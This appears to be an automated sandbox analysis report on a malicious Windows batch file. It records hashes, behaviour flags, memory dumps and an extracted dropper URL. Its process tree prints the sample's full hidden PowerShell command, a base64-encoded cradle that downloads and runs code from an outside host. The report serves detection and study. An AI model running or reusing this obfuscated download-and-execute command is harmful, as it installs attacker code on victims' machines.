9ade7d41fe1eb846c653498e8b2bc5bc222c99576fc01c73ccbe50e7b5837bdf

Analysis

max time kernel
90s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
20/09/2022, 00:57

Target

rep/maximum.bat
Size

1KB
MD5

043e83dab2314bca1b5babc8a9a4c352
SHA1

e2e078f9f5b73e19449f0c0ebac37a78735515ba
SHA256

dbf173cc9b164e6ac9983e5b0a9544f2fddfc5aa26828659f7ee78bb991551e2
SHA512

f480f5a9f345e287a5c6a2aa0e0045f528466bd00f80820ecc04ac795c2c0bb9622128ca6f0dc010c36a94772b156fb62a3208eb7a64f332482f0a55246ab5e3

Score

10^/10

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://meeronixt.com/gate

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4896	powershell.exe
4896	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4896	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4228 wrote to memory of 4896	4228	cmd.exe	83
PID 4228 wrote to memory of 4896	4228	cmd.exe	83

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rep\maximum.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -nop -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBlAGUAcgBvAG4AaQB4AHQALgBjAG8AbQAvAGcAYQB0AGUAIgApAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4896

memory/4896-133-0x000001CFDB450000-0x000001CFDB472000-memory.dmp

Filesize
136KB

Download
memory/4896-134-0x00007FFC1C7B0000-0x00007FFC1D271000-memory.dmp

Filesize
10.8MB

Download
memory/4896-135-0x00007FFC1C7B0000-0x00007FFC1D271000-memory.dmp

Filesize
10.8MB

Download